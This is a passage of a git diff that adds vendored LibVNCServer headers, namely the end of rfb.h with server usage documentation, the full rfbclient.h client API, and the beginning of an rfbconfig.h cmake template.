+#if(defined __cplusplus) +} +#endif + +/** + * @} + */ + + +/** + @page libvncserver_doc LibVNCServer Documentation + @section create_server Creating a server instance + To make a server, you just have to initialise a server structure using the + function rfbGetScreen(), like + @code + rfbScreenInfoPtr screen = + rfbGetScreen(argc,argv,screenwidth,screenheight,8,3,bpp); + @endcode + where byte per pixel should be 1, 2 or 4. If performance doesn't matter, + you may try bpp=3 (internally one cannot use native data types in this + case; if you want to use this, look at pnmshow24.c). + + You then can set hooks and io functions (see @ref making_it_interactive) or other + options (see @ref server_options). + + And you allocate the frame buffer like this: + @code + screen->frameBuffer = (char*)malloc(screenwidth*screenheight*bpp); + @endcode + After that, you initialize the server, like + @code + rfbInitServer(screen); + @endcode + You can use a blocking event loop, a background (pthread based) event loop, + or implement your own using the rfbProcessEvents() function. + + @subsection server_options Optional Server Features + + These options have to be set between rfbGetScreen() and rfbInitServer(). + + If you already have a socket to talk to, just set rfbScreenInfo::inetdSock + (originally this is for inetd handling, but why not use it for your purpose?). + + To also start an HTTP server (running on port 5800+display_number), you have + to set rfbScreenInfo::httpDir to a directory containing vncviewer.jar and + index.vnc (like the included "webclients" directory). + + @section making_it_interactive Making it interactive + + Whenever you draw something, you have to call + @code + rfbMarkRectAsModified(screen,x1,y1,x2,y2). + @endcode + This tells LibVNCServer to send updates to all connected clients. + + There exist the following IO functions as members of rfbScreen: + rfbScreenInfo::kbdAddEvent(), rfbScreenInfo::kbdReleaseAllKeys(), rfbScreenInfo::ptrAddEvent() and rfbScreenInfo::setXCutText() + + rfbScreenInfo::kbdAddEvent() + is called when a key is pressed. + rfbScreenInfo::kbdReleaseAllKeys() + is not called at all (maybe in the future). + rfbScreenInfo::ptrAddEvent() + is called when the mouse moves or a button is pressed. + WARNING: if you want to have proper cursor handling, call + rfbDefaultPtrAddEvent() + in your own function. This sets the coordinates of the cursor. + rfbScreenInfo::setXCutText() + is called when the selection changes. + + There are only two hooks: + rfbScreenInfo::newClientHook() + is called when a new client has connected. + rfbScreenInfo::displayHook() + is called just before a frame buffer update is sent. + + You can also override the following methods: + rfbScreenInfo::getCursorPtr() + This could be used to make an animated cursor (if you really want ...) + rfbScreenInfo::setTranslateFunction() + If you insist on colour maps or something more obscure, you have to + implement this. Default is a trueColour mapping. + + @section cursor_handling Cursor handling + + The screen holds a pointer + rfbScreenInfo::cursor + to the current cursor. Whenever you set it, remember that any dynamically + created cursor (like return value from rfbMakeXCursor()) is not free'd! + + The rfbCursor structure consists mainly of a mask and a source. The rfbCursor::mask + describes, which pixels are drawn for the cursor (a cursor needn't be + rectangular). The rfbCursor::source describes, which colour those pixels should have. + + The standard is an XCursor: a cursor with a foreground and a background + colour (stored in backRed,backGreen,backBlue and the same for foreground + in a range from 0-0xffff). Therefore, the arrays "mask" and "source" + contain pixels as single bits stored in bytes in MSB order. The rows are + padded, such that each row begins with a new byte (i.e. a 10x4 + cursor's mask has 2x4 bytes, because 2 bytes are needed to hold 10 bits). + + It is however very easy to make a cursor like this: + @code + char* cur=" " + " xx " + " x " + " "; + char* mask="xxxx" + "xxxx" + "xxxx" + "xxx "; + rfbCursorPtr c=rfbMakeXCursor(4,4,cur,mask); + @endcode + You can even set rfbCursor::mask to NULL in this call and LibVNCServer will calculate + a mask for you (dynamically, so you have to free it yourself). + + There is also an array named rfbCursor::richSource for colourful cursors. They have + the same format as the frameBuffer (i.e. if the server is 32 bit, + a 10x4 cursor has 4x10x4 bytes). + + @section screen_client_difference What is the difference between rfbScreenInfoPtr and rfbClientPtr? + + The rfbScreenInfoPtr is a pointer to a rfbScreenInfo structure, which + holds information about the server, like pixel format, io functions, + frame buffer etc. The rfbClientPtr is a pointer to an rfbClientRec structure, which holds + information about a client, like pixel format, socket of the + connection, etc. A server can have several clients, but needn't have any. So, if you + have a server and three clients are connected, you have one instance + of a rfbScreenInfo and three instances of rfbClientRec's. + + The rfbClientRec structure holds a member rfbClientRec::screen which points to the server. + So, to access the server from the client structure, you use client->screen. + + To access all clients from a server be sure to use the provided iterator + rfbGetClientIterator() + with + rfbClientIteratorNext() + and + rfbReleaseClientIterator() + to prevent thread clashes. + + @section example_code Example Code + + There are two documented examples included: + - example.c, a shared scribble sheet + - pnmshow.c, a program to show PNMs (pictures) over the net. + + The examples are not too well documented, but easy straight forward and a + good starting point. + + Try example.c: it outputs on which port it listens (default: 5900), so it is + display 0. To view, call @code vncviewer :0 @endcode + You should see a sheet with a gradient and "Hello World!" written on it. Try + to paint something. Note that every time you click, there is some bigger blot, + whereas when you drag the mouse while clicked you draw a line. The size of the + blot depends on the mouse button you click. Open a second vncviewer with + the same parameters and watch it as you paint in the other window. This also + works over internet. You just have to know either the name or the IP of your + machine. Then it is @code vncviewer machine.where.example.runs.com:0 @endcode + or similar for the remote client. Now you are ready to type something. Be sure + that your mouse sits still, because every time the mouse moves, the cursor is + reset to the position of the pointer! If you are done with that demo, press + the down or up arrows. If your viewer supports it, then the dimensions of the + sheet change. Just press Escape in the viewer. Note that the server still + runs, even if you closed both windows. When you reconnect now, everything you + painted and wrote is still there. You can press "Page Up" for a blank page. + + The demo pnmshow.c is much simpler: you either provide a filename as argument + or pipe a file through stdin. Note that the file has to be a raw pnm/ppm file, + i.e. a truecolour graphics. Only the Escape key is implemented. This may be + the best starting point if you want to learn how to use LibVNCServer. You + are confronted with the fact that the bytes per pixel can only be 8, 16 or 32. +*/ + +#endif diff --git a/3rdparty/libvncserver/rfb/rfbclient.h b/3rdparty/libvncserver/rfb/rfbclient.h new file mode 100644 index 0000000..1a80f0d --- /dev/null +++ b/3rdparty/libvncserver/rfb/rfbclient.h @@ -0,0 +1,741 @@ +#ifndef RFBCLIENT_H +#define RFBCLIENT_H + +/** + * @defgroup libvncclient_api LibVNCClient API Reference + * @{ + */ + +/* + * Copyright (C) 2017 D. R. Commander. All Rights Reserved. + * Copyright (C) 2000, 2001 Const Kaplinsky. All Rights Reserved. + * Copyright (C) 2000 Tridia Corporation. All Rights Reserved. + * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +/** + * @file rfbclient.h + */ + +#ifdef WIN32 +#define WIN32_LEAN_AND_MEAN /* Prevent loading any Winsock 1.x headers from windows.h */ +#endif + +#if defined(ANDROID) || defined(LIBVNCSERVER_HAVE_ANDROID) +#include +#include +#endif + +#include +#include +#include +#if LIBVNCSERVER_HAVE_SYS_TIME_H +#include +#endif +#if LIBVNCSERVER_HAVE_UNISTD_H +#include +#endif +#include +#include + +#ifdef LIBVNCSERVER_HAVE_SASL +#include +#endif /* LIBVNCSERVER_HAVE_SASL */ + +#define rfbClientSwap16IfLE(s) \ + (*(char *)&client->endianTest ? ((((s) & 0xff) << 8) | (((s) >> 8) & 0xff)) : (s)) + +#define rfbClientSwap32IfLE(l) \ + (*(char *)&client->endianTest ? ((((l) >> 24) & 0x000000ff) | \ + (((l) & 0x00ff0000) >> 8) | \ + (((l) & 0x0000ff00) << 8) | \ + (((l) & 0x000000ff) << 24)) : (l)) + +#define rfbClientSwap64IfLE(l) \ + (*(char *)&client->endianTest ? ((((l) >> 56 ) & 0x00000000000000ffULL) | \ + (((l) & 0x00ff000000000000ULL) >> 40) | \ + (((l) & 0x0000ff0000000000ULL) >> 24) | \ + (((l) & 0x000000ff00000000ULL) >> 8) | \ + (((l) & 0x00000000ff000000ULL) << 8) | \ + (((l) & 0x0000000000ff0000ULL) << 24) | \ + (((l) & 0x000000000000ff00ULL) << 40) | \ + (((l) & 0x00000000000000ffULL) << 56)) : (l)) + +#define FLASH_PORT_OFFSET 5400 +#define LISTEN_PORT_OFFSET 5500 +#define TUNNEL_PORT_OFFSET 5500 +#define SERVER_PORT_OFFSET 5900 + +#define DEFAULT_SSH_CMD "/usr/bin/ssh" +#define DEFAULT_TUNNEL_CMD \ + (DEFAULT_SSH_CMD " -f -L %L:localhost:%R %H sleep 20") +#define DEFAULT_VIA_CMD \ + (DEFAULT_SSH_CMD " -f -L %L:%H:%R %G sleep 20") + +#if(defined __cplusplus) +extern "C" +{ +#endif + +/** vncrec */ + +typedef struct { + FILE* file; + struct timeval tv; + rfbBool readTimestamp; + rfbBool doNotSleep; +} rfbVNCRec; + +/** client data */ + +typedef struct rfbClientData { + void* tag; + void* data; + struct rfbClientData* next; +} rfbClientData; + +/** app data (belongs into rfbClient?) */ + +typedef struct { + rfbBool shareDesktop; + rfbBool viewOnly; + + const char* encodingsString; + + rfbBool useBGR233; + int nColours; + rfbBool forceOwnCmap; + rfbBool forceTrueColour; + int requestedDepth; + + int compressLevel; + int qualityLevel; + rfbBool enableJPEG; + rfbBool useRemoteCursor; + rfbBool palmVNC; /**< use palmvnc specific SetScale (vs ultravnc) */ + int scaleSetting; /**< 0 means no scale set, else 1/scaleSetting */ +} AppData; + +/** For GetCredentialProc callback function to return */ +typedef union _rfbCredential +{ + /** X509 (VeNCrypt) */ + struct + { + char *x509CACertFile; + char *x509CACrlFile; + char *x509ClientCertFile; + char *x509ClientKeyFile; + uint8_t x509CrlVerifyMode; /* Only required for OpenSSL - see meanings below */ + } x509Credential; + /** Plain (VeNCrypt), MSLogon (UltraVNC) */ + struct + { + char *username; + char *password; + } userCredential; +} rfbCredential; + +#define rfbCredentialTypeX509 1 +#define rfbCredentialTypeUser 2 + +/* When using OpenSSL, CRLs can be included in both the x509CACrlFile and appended + to the x509CACertFile as is common with OpenSSL. When rfbX509CrlVerifyAll is + specified the CRL list must include CRLs for all certificates in the chain */ +#define rfbX509CrlVerifyNone 0 /* No CRL checking is performed */ +#define rfbX509CrlVerifyClient 1 /* Only the leaf server certificate is checked */ +#define rfbX509CrlVerifyAll 2 /* All certificates in the server chain are checked */ + +struct _rfbClient; + +/** + * Handles a text chat message. If your application should accept text messages + * from the server, define a function with this prototype and set + * client->HandleTextChat to a pointer to that function subsequent to your + * rfbGetClient() call. + * @param client The client which called the text chat handler + * @param value text length if text != NULL, or one of rfbTextChatOpen, + * rfbTextChatClose, rfbTextChatFinished if text == NULL + * @param text The text message from the server + */ +typedef void (*HandleTextChatProc)(struct _rfbClient* client, int value, char *text); +/** + * Handles XVP server messages. If your application sends XVP messages to the + * server, you'll want to handle the server's XVP_FAIL and XVP_INIT responses. + * Define a function with this prototype and set client->HandleXvpMsg to a + * pointer to that function subsequent to your rfbGetClient() call. + * @param client The client which called the XVP message handler + * @param version The highest XVP extension version that the server supports + * @param opcode The opcode. 0 is XVP_FAIL, 1 is XVP_INIT + */ +typedef void (*HandleXvpMsgProc)(struct _rfbClient* client, uint8_t version, uint8_t opcode); +typedef void (*HandleKeyboardLedStateProc)(struct _rfbClient* client, int value, int pad); +typedef rfbBool (*HandleCursorPosProc)(struct _rfbClient* client, int x, int y); +typedef void (*SoftCursorLockAreaProc)(struct _rfbClient* client, int x, int y, int w, int h); +typedef void (*SoftCursorUnlockScreenProc)(struct _rfbClient* client); +typedef void (*GotFrameBufferUpdateProc)(struct _rfbClient* client, int x, int y, int w, int h); +typedef void (*FinishedFrameBufferUpdateProc)(struct _rfbClient* client); +typedef char* (*GetPasswordProc)(struct _rfbClient* client); +typedef rfbCredential* (*GetCredentialProc)(struct _rfbClient* client, int credentialType); +typedef rfbBool (*MallocFrameBufferProc)(struct _rfbClient* client); +typedef void (*GotXCutTextProc)(struct _rfbClient* client, const char *text, int textlen); +typedef void (*BellProc)(struct _rfbClient* client); +/** + Called when a cursor shape update was received from the server. The decoded cursor shape + will be in client->rcSource. It's up to the application to do something with this, e.g. draw + into a viewer's window. If you want the server to draw the cursor into the framebuffer, be + careful not to announce remote cursor support, i.e. not include rfbEncodingXCursor or + rfbEncodingRichCursor in SetFormatAndEncodings(). +*/ +typedef void (*GotCursorShapeProc)(struct _rfbClient* client, int xhot, int yhot, int width, int height, int bytesPerPixel); +typedef void (*GotCopyRectProc)(struct _rfbClient* client, int src_x, int src_y, int w, int h, int dest_x, int dest_y); +typedef void (*GotFillRectProc)(struct _rfbClient* client, int x, int y, int w, int h, uint32_t colour); +typedef void (*GotBitmapProc)(struct _rfbClient* client, const uint8_t* buffer, int x, int y, int w, int h); +typedef rfbBool (*GotJpegProc)(struct _rfbClient* client, const uint8_t* buffer, int length, int x, int y, int w, int h); +typedef rfbBool (*LockWriteToTLSProc)(struct _rfbClient* client); +typedef rfbBool (*UnlockWriteToTLSProc)(struct _rfbClient* client); + +#ifdef LIBVNCSERVER_HAVE_SASL +typedef char* (*GetUserProc)(struct _rfbClient* client); +typedef char* (*GetSASLMechanismProc)(struct _rfbClient* client, char* mechlist); +#endif /* LIBVNCSERVER_HAVE_SASL */ + +typedef struct _rfbClient { + uint8_t* frameBuffer; + int width, height; + + int endianTest; + + AppData appData; + + const char* programName; + char* serverHost; + int serverPort; /**< if -1, then use file recorded by vncrec */ + rfbBool listenSpecified; + int listenPort, flashPort; + + struct { + int x, y, w, h; + } updateRect; + + /** Note that the CoRRE encoding uses this buffer and assumes it is big enough + to hold 255 * 255 * 32 bits -> 260100 bytes. 640*480 = 307200 bytes. + Hextile also assumes it is big enough to hold 16 * 16 * 32 bits. + Tight encoding assumes BUFFER_SIZE is at least 16384 bytes. */ + +#define RFB_BUFFER_SIZE (640*480) + char buffer[RFB_BUFFER_SIZE]; + + /* rfbproto.c */ + + int sock; + rfbBool canUseCoRRE; + rfbBool canUseHextile; + char *desktopName; + rfbPixelFormat format; + rfbServerInitMsg si; + + /* sockets.c */ +#define RFB_BUF_SIZE 8192 + char buf[RFB_BUF_SIZE]; + char *bufoutptr; + int buffered; + + /* The zlib encoding requires expansion/decompression/deflation of the + compressed data in the "buffer" above into another, result buffer. + However, the size of the result buffer can be determined precisely + based on the bitsPerPixel, height and width of the rectangle. We + allocate this buffer one time to be the full size of the buffer. */ + + /* Ultra Encoding uses this buffer too */ + + int ultra_buffer_size; + char *ultra_buffer; + + int raw_buffer_size; + char *raw_buffer; + +#ifdef LIBVNCSERVER_HAVE_LIBZ + z_stream decompStream; + rfbBool decompStreamInited; +#endif + + +#ifdef LIBVNCSERVER_HAVE_LIBZ + /* + * Variables for the ``tight'' encoding implementation. + */ + + /** Separate buffer for compressed data. */ +#define ZLIB_BUFFER_SIZE 30000 + char zlib_buffer[ZLIB_BUFFER_SIZE]; + + /* Four independent compression streams for zlib library. */ + z_stream zlibStream[4]; + rfbBool zlibStreamActive[4]; + + /* Filter stuff. Should be initialized by filter initialization code. */ + rfbBool cutZeros; + int rectWidth, rectColors; + char tightPalette[256*4]; + uint8_t tightPrevRow[2048*3*sizeof(uint16_t)]; + +#ifdef LIBVNCSERVER_HAVE_LIBJPEG + /** JPEG decoder state (obsolete-- do not use). */ + rfbBool jpegError; + + struct jpeg_source_mgr* jpegSrcManager; + void* jpegBufferPtr; + size_t jpegBufferLen; + +#endif +#endif + + + /* cursor.c */ + /** Holds cursor shape data when received from server. */ + uint8_t *rcSource, *rcMask; + + /** private data pointer */ + rfbClientData* clientData; + + rfbVNCRec* vncRec; + + /* Keyboard State support (is 'Caps Lock' set on the remote display???) */ + int KeyboardLedStateEnabled; + int CurrentKeyboardLedState; + + int canHandleNewFBSize; + + /* hooks */ + HandleTextChatProc HandleTextChat; + HandleKeyboardLedStateProc HandleKeyboardLedState; + HandleCursorPosProc HandleCursorPos; + SoftCursorLockAreaProc SoftCursorLockArea; + SoftCursorUnlockScreenProc SoftCursorUnlockScreen; + GotFrameBufferUpdateProc GotFrameBufferUpdate; + /** the pointer returned by GetPassword will be freed after use! */ + GetPasswordProc GetPassword; + MallocFrameBufferProc MallocFrameBuffer; + GotXCutTextProc GotXCutText; + BellProc Bell; + + GotCursorShapeProc GotCursorShape; + GotCopyRectProc GotCopyRect; + + /** Which messages are supported by the server + * This is a *guess* for most servers. + * (If we can even detect the type of server) + * + * If the server supports the "rfbEncodingSupportedMessages" + * then this will be updated when the encoding is received to + * accurately reflect the servers capabilities. + */ + rfbSupportedMessages supportedMessages; + + /** negotiated protocol version */ + int major, minor; + + /** The selected security types */ + uint32_t authScheme, subAuthScheme; + + /** The TLS session for Anonymous TLS and VeNCrypt */ + void* tlsSession; + + /** To support security types that requires user input (except VNC password + * authentication), for example VeNCrypt and MSLogon, this callback function + * must be set before the authentication. Otherwise, it implicates that the + * caller application does not support it and related security types should + * be bypassed. + */ + GetCredentialProc GetCredential; + + /** The 0-terminated security types supported by the client. + * Set by function SetClientAuthSchemes() */ + uint32_t *clientAuthSchemes; + + /** When the server is a repeater, this specifies the final destination */ + char *destHost; + int destPort; + + /** the QoS IP DSCP for this client */ + int QoS_DSCP; + + /** hook to handle xvp server messages */ + HandleXvpMsgProc HandleXvpMsg; + + /* listen.c */ + int listenSock; + + FinishedFrameBufferUpdateProc FinishedFrameBufferUpdate; + + char *listenAddress; + /* IPv6 listen socket, address and port*/ + int listen6Sock; + char* listen6Address; + int listen6Port; + + /* Output Window ID. When set, client application enables libvncclient to perform direct rendering in its window */ + unsigned long outputWindow; + + /** Hooks for optional protection WriteToTLS() by mutex */ + LockWriteToTLSProc LockWriteToTLS; + UnlockWriteToTLSProc UnlockWriteToTLS; + + /** Hooks for custom rendering + * + * VNC rendering boils down to 3 activities: + * - GotCopyRect: copy an area of the framebuffer + * - GotFillRect: fill an area of the framebuffer with a solid color + * - GotBitmap: copy the bitmap in the buffer into the framebuffer + * The client application should either set all three of these or none! + */ + GotFillRectProc GotFillRect; + GotBitmapProc GotBitmap; + /** Hook for custom JPEG decoding and rendering */ + GotJpegProc GotJpeg; + +#ifdef LIBVNCSERVER_HAVE_SASL + sasl_conn_t *saslconn; + const char *saslDecoded; + unsigned int saslDecodedLength; + unsigned int saslDecodedOffset; + sasl_secret_t *saslSecret; + + /* Callback to allow the client to choose a preferred mechanism. The string returned will + be freed once no longer required. */ + GetSASLMechanismProc GetSASLMechanism; + GetUserProc GetUser; + +#endif /* LIBVNCSERVER_HAVE_SASL */ + +#ifdef LIBVNCSERVER_HAVE_LIBZ +#ifdef LIBVNCSERVER_HAVE_LIBJPEG + /** JPEG decoder state. */ + void *tjhnd; + +#endif +#endif +} rfbClient; + +/* cursor.c */ +/** + * Handles XCursor and RichCursor shape updates from the server. + * We emulate cursor operating on the frame buffer (that is + * why we call it "software cursor"). This decodes the received cursor + * shape and hands it over to GotCursorShapeProc, if set. + */ +extern rfbBool HandleCursorShape(rfbClient* client,int xhot, int yhot, int width, int height, uint32_t enc); + +/* listen.c */ + +extern void listenForIncomingConnections(rfbClient* viewer); +extern int listenForIncomingConnectionsNoFork(rfbClient* viewer, int usec_timeout); + +/* rfbproto.c */ + +extern rfbBool rfbEnableClientLogging; +typedef void (*rfbClientLogProc)(const char *format, ...); +extern rfbClientLogProc rfbClientLog,rfbClientErr; +extern rfbBool ConnectToRFBServer(rfbClient* client,const char *hostname, int port); +extern rfbBool ConnectToRFBRepeater(rfbClient* client,const char *repeaterHost, int repeaterPort, const char *destHost, int destPort); +extern void SetClientAuthSchemes(rfbClient* client,const uint32_t *authSchemes, int size); +extern rfbBool InitialiseRFBConnection(rfbClient* client); +/** + * Sends format and encoding parameters to the server. Your application can + * modify the 'client' data structure directly. However some changes to this + * structure must be communicated back to the server. For instance, if you + * change the encoding to hextile, the server needs to know that it should send + * framebuffer updates in hextile format. Likewise if you change the pixel + * format of the framebuffer, the server must be notified about this as well. + * Call this function to propagate your changes of the local 'client' structure + * over to the server. + * @li Encoding type + * @li RFB protocol extensions announced via pseudo-encodings + * @li Framebuffer pixel format (like RGB vs ARGB) + * @li Remote cursor support + * @param client The client in which the format or encodings have been changed + * @return true if the format or encodings were sent to the server successfully, + * false otherwise + */ +extern rfbBool SetFormatAndEncodings(rfbClient* client); +extern rfbBool SendIncrementalFramebufferUpdateRequest(rfbClient* client); +/** + * Sends a framebuffer update request to the server. A VNC client may request an + * update from the server at any time. You can also specify which portions of + * the screen you want updated. This can be handy if a pointer is at certain + * location and the user pressed a mouse button, for instance. Then you can + * immediately request an update of the region around the pointer from the + * server. + * @note The coordinate system is a left-handed Cartesian coordinate system with + * the Z axis (unused) pointing out of the screen. Alternately you can think of + * it as a right-handed Cartesian coordinate system with the Z axis pointing + * into the screen. The origin is at the upper left corner of the framebuffer. + * @param client The client through which to send the request + * @param x The horizontal position of the update request rectangle + * @param y The vertical position of the update request rectangle + * @param w The width of the update request rectangle + * @param h The height of the update request rectangle + * @param incremental false: server sends rectangle even if nothing changed. + * true: server only sends changed parts of rectangle. + * @return true if the update request was sent successfully, false otherwise + */ +extern rfbBool SendFramebufferUpdateRequest(rfbClient* client, + int x, int y, int w, int h, + rfbBool incremental); +extern rfbBool SendScaleSetting(rfbClient* client,int scaleSetting); +/** + * Sends a pointer event to the server. A pointer event includes a cursor + * location and a button mask. The button mask indicates which buttons on the + * pointing device are pressed. Each button is represented by a bit in the + * button mask. A 1 indicates the button is pressed while a 0 indicates that it + * is not pressed. You may use these pre-defined button masks by ORing them + * together: rfbButton1Mask, rfbButton2Mask, rfbButton3Mask, rfbButton4Mask + * rfbButton5Mask + * @note The cursor location is relative to the client's framebuffer, not the + * client's screen itself. + * @note The coordinate system is a left-handed Cartesian coordinate system with + * the Z axis (unused) pointing out of the screen. Alternately you can think of + * it as a right-handed Cartesian coordinate system with the Z axis pointing + * into the screen. The origin is at the upper left corner of the screen. + * @param client The client through which to send the pointer event + * @param x the horizontal location of the cursor + * @param y the vertical location of the cursor + * @param buttonMask the button mask indicating which buttons are pressed + * @return true if the pointer event was sent successfully, false otherwise + */ +extern rfbBool SendPointerEvent(rfbClient* client,int x, int y, int buttonMask); +/** + * Sends a key event to the server. If your application is not merely a VNC + * viewer (i.e. it controls the server), you'll want to send the keys that the + * user presses to the server. Use this function to do that. + * @param client The client through which to send the key event + * @param key An rfbKeySym defined in rfb/keysym.h + * @param down true if this was a key down event, false otherwise + * @return true if the key event was send successfully, false otherwise + */ +extern rfbBool SendKeyEvent(rfbClient* client,uint32_t key, rfbBool down); +/** + * Places a string on the server's clipboard. Use this function if you want to + * be able to copy and paste between the server and your application. For + * instance, when your application is notified that the user copied some text + * onto the clipboard, you would call this function to synchronize the server's + * clipboard with your local clipboard. + * @param client The client structure through which to send the client cut text + * message + * @param str The string to send (doesn't need to be NULL terminated) + * @param len The length of the string + * @return true if the client cut message was sent successfully, false otherwise + */ +extern rfbBool SendClientCutText(rfbClient* client,char *str, int len); +/** + * Handles messages from the RFB server. You must call this function + * intermittently so LibVNCClient can parse messages from the server. For + * example, if your app has a draw loop, you could place a call to this + * function within that draw loop. + * @note You must call WaitForMessage() before you call this function. + * @param client The client which will handle the RFB server messages + * @return true if the client was able to handle the RFB server messages, false + * otherwise + */ +extern rfbBool HandleRFBServerMessage(rfbClient* client); + +/** + * Sends a text chat message to the server. + * @param client The client through which to send the message + * @param text The text to send + * @return true if the text was sent successfully, false otherwise + */ +extern rfbBool TextChatSend(rfbClient* client, char *text); +/** + * Opens a text chat window on the server. + * @param client The client through which to send the message + * @return true if the window was opened successfully, false otherwise + */ +extern rfbBool TextChatOpen(rfbClient* client); +/** + * Closes the text chat window on the server. + * @param client The client through which to send the message + * @return true if the window was closed successfully, false otherwise + */ +extern rfbBool TextChatClose(rfbClient* client); +extern rfbBool TextChatFinish(rfbClient* client); +extern rfbBool PermitServerInput(rfbClient* client, int enabled); +extern rfbBool SendXvpMsg(rfbClient* client, uint8_t version, uint8_t code); + +extern void PrintPixelFormat(rfbPixelFormat *format); + +extern rfbBool SupportsClient2Server(rfbClient* client, int messageType); +extern rfbBool SupportsServer2Client(rfbClient* client, int messageType); + +/* client data */ + +/** + * Associates a client data tag with the given pointer. LibVNCClient has + * several events to which you can associate your own handlers. These handlers + * have the client structure as one of their parameters. Sometimes, you may want + * to make data from elsewhere in your application available to these handlers + * without using a global variable. To do this, you call + * rfbClientSetClientData() and associate the data with a tag. Then, your + * handler can call rfbClientGetClientData() and get the a pointer to the data + * associated with that tag. + * @param client The client in which to set the client data + * @param tag A unique tag which identifies the data + * @param data A pointer to the data to associate with the tag + */ +void rfbClientSetClientData(rfbClient* client, void* tag, void* data); +/** + * Returns a pointer to the client data associated with the given tag. See the + * the documentation for rfbClientSetClientData() for a discussion of how you + * can use client data. + * @param client The client from which to get the client data + * @param tag The tag which identifies the client data + * @return a pointer to the client data + */ +void* rfbClientGetClientData(rfbClient* client, void* tag); + +/* protocol extensions */ + +typedef struct _rfbClientProtocolExtension { + int* encodings; + /** returns TRUE if the encoding was handled */ + rfbBool (*handleEncoding)(rfbClient* cl, + rfbFramebufferUpdateRectHeader* rect); + /** returns TRUE if it handled the message */ + rfbBool (*handleMessage)(rfbClient* cl, + rfbServerToClientMsg* message); + struct _rfbClientProtocolExtension* next; + uint32_t const* securityTypes; + /** returns TRUE if it handled the authentication */ + rfbBool (*handleAuthentication)(rfbClient* cl, uint32_t authScheme); +} rfbClientProtocolExtension; + +void rfbClientRegisterExtension(rfbClientProtocolExtension* e); + +/* sockets.c */ + +extern rfbBool errorMessageOnReadFailure; + +extern rfbBool ReadFromRFBServer(rfbClient* client, char *out, unsigned int n); +extern rfbBool WriteToRFBServer(rfbClient* client, char *buf, int n); +extern int FindFreeTcpPort(void); +extern int ListenAtTcpPort(int port); +extern int ListenAtTcpPortAndAddress(int port, const char *address); +extern int ConnectClientToTcpAddr(unsigned int host, int port); +extern int ConnectClientToTcpAddr6(const char *hostname, int port); +extern int ConnectClientToUnixSock(const char *sockFile); +extern int AcceptTcpConnection(int listenSock); +extern rfbBool SetNonBlocking(int sock); +extern rfbBool SetDSCP(int sock, int dscp); + +extern rfbBool StringToIPAddr(const char *str, unsigned int *addr); +extern rfbBool SameMachine(int sock); +/** + * Waits for an RFB message to arrive from the server. Before handling a message + * with HandleRFBServerMessage(), you must wait for your client to receive one. + * This function blocks until a message is received. You may specify a timeout + * in microseconds. Once this number of microseconds have elapsed, the function + * will return. + * @param client The client to cause to wait until a message is received + * @param usecs The timeout in microseconds + * @return the return value of the underlying select() call + */ +extern int WaitForMessage(rfbClient* client,unsigned int usecs); + +/* vncviewer.c */ +/** + * Allocates and returns a pointer to an rfbClient structure. This will probably + * be the first LibVNCClient function your client code calls. Most libVNCClient + * functions operate on an rfbClient structure, and this function allocates + * memory for that structure. When you're done with the rfbClient structure + * pointer this function returns, you should free the memory rfbGetClient() + * allocated by calling rfbClientCleanup(). + * + * A pixel is one dot on the screen. The number of bytes in a pixel will depend + * on the number of samples in that pixel and the number of bits in each sample. + * A sample represents one of the primary colors in a color model. The RGB + * color model uses red, green, and blue samples respectively. Suppose you + * wanted to use 16-bit RGB color: You would have three samples per pixel (one + * for each primary color), five bits per sample (the quotient of 16 RGB bits + * divided by three samples), and two bytes per pixel (the smallest multiple of + * eight bits in which the 16-bit pixel will fit). If you wanted 32-bit RGB + * color, you would have three samples per pixel again, eight bits per sample + * (since that's how 32-bit color is defined), and four bytes per pixel (the + * smallest multiple of eight bits in which the 32-bit pixel will fit. + * @param bitsPerSample The number of bits in a sample + * @param samplesPerPixel The number of samples in a pixel + * @param bytesPerPixel The number of bytes in a pixel + * @return a pointer to the allocated rfbClient structure + */ +rfbClient* rfbGetClient(int bitsPerSample,int samplesPerPixel,int bytesPerPixel); +/** + * Initializes the client. The format is {PROGRAM_NAME, [OPTIONS]..., HOST}. This + * function does not initialize the program name if the rfbClient's program + * name is set already. The options are as follows: + * + * + * + * + * + * + * + * + * + * + *
OptionDescription
-listenListen for incoming connections.
-listennoforkListen for incoming connections without forking. + *
-playSet this client to replay a previously recorded session.
-encodingsSet the encodings to use. The next item in the + * argv array is the encodings string, consisting of comma separated encodings like 'tight,ultra,raw'.
-compressSet the compression level. The next item in the + * argv array is the compression level as an integer. Ranges from 0 (lowest) to 9 (highest). + *
-scaleSet the scaling level. The next item in the + * argv array is the scaling level as an integer. The screen will be scaled down by this factor.
-qosdscpSet the Quality of Service Differentiated Services + * Code Point (QoS DSCP). The next item in the argv array is the code point as + * an integer.
-repeaterdestSet a VNC repeater address. The next item in the argv array is + * the repeater's address as a string.
+ * + * The host may include a port number (delimited by a ':'). + * @param client The client to initialize + * @param argc The number of arguments to the initializer + * @param argv The arguments to the initializer as an array of NULL terminated + * strings + * @return true if the client was initialized successfully, false otherwise. + */ +rfbBool rfbInitClient(rfbClient* client,int* argc,char** argv); +/** + * Cleans up the client structure and releases the memory allocated for it. You + * should call this when you're done with the rfbClient structure that you + * allocated with rfbGetClient(). + * @note rfbClientCleanup() does not touch client->frameBuffer. + * @param client The client to clean up + */ +void rfbClientCleanup(rfbClient* client); + +#if(defined __cplusplus) +} +#endif + +/** + * @} + */ + +/** + @page libvncclient_doc LibVNCClient Documentation + @section example_code Example Code + See SDLvncviewer.c for a rather complete client example. +*/ + +#endif diff --git a/3rdparty/libvncserver/rfb/rfbconfig.h.cmakein b/3rdparty/libvncserver/rfb/rfbconfig.h.cmakein new file mode 100644 index 0000000..f5d8d78 --- /dev/null +++ b/3rdparty/libvncserver/rfb/rfbconfig.h.cmakein @@ -0,0 +1,192 @@ +#ifndef _RFB_RFBCONFIG_H +#cmakedefine _RFB_RFBCONFIG_H 1 + +/* rfb/rfbconfig.h. Generated automatically by cmake. */ + +/* Enable 24 bit per pixel in native framebuffer */ +#cmakedefine LIBVNCSERVER_ALLOW24BPP 1 + +/* work around when write() returns ENOENT but does not mean it */ +#cmakedefine 